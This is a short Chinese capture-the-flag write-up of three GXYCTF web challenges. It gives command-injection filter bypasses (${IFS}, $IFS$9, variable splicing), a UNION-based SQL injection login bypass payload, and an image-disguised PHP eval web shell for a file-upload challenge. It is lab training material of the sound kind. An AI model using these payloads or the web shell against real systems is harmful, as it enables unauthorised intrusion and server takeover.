GXYCTF web部分简要分析

0x01 ping ping ping

GXYCTF web部分简要分析_第1张图片
很明显的命令注入,我们用管道符号|即可执行我们想要的命令
GXYCTF web部分简要分析_第2张图片空格被过滤了,绕过空格的方法有很多,比如

{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

这儿由于过滤了{ }等特殊符号,所以沃恩使用$IFS$9就可以了
GXYCTF web部分简要分析_第3张图片
这儿又过滤了flag这几个字母,不能连着出现,即f\l\a\g也不行,我们这儿使用命令拼接的形式a=f;b=l;c=g;d=a;echo $a$b$d$c;就可以拼接出flag几个字母
最后的payload
GXYCTF web部分简要分析_第4张图片

0x02 BabySQli

一道简单的MD5注入

GXYCTF web部分简要分析_第5张图片一串base32编码,我们先base32解码再base64解码一次,得到select * from user where username = '$name',由于题目提示了使用md5加密,而且经过测试有三列,我们大胆猜测第二列为用户名,第三列为密码,这个可以挨着挨着试出来~~

payload:

0' union select 1, 'admin', 'c4ca4238a0b923820dcc509a6f75849b'-- -&pw=1

其中第一个必须为0,当数据库找不到此用户名时就会使用我们union的数据,其中c4ca4238a0b923820dcc509a6f75849b1的MD5值

GXYCTF web部分简要分析_第6张图片

0x03 BabyUpload

GXYCTF web部分简要分析_第7张图片一来就是一个上传的界面,老套路了,一般都是上传图片之类的~~

我一般使用的图片马如下

GIF89a
#define test_width 16
#define test_height 7
<script language="php"> eval($_POST[xxx]); </script>
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

这个既包含png图片的格式,又包含了xbmp格式的,php也是用

你可能感兴趣的:(BUUCTF刷题记录)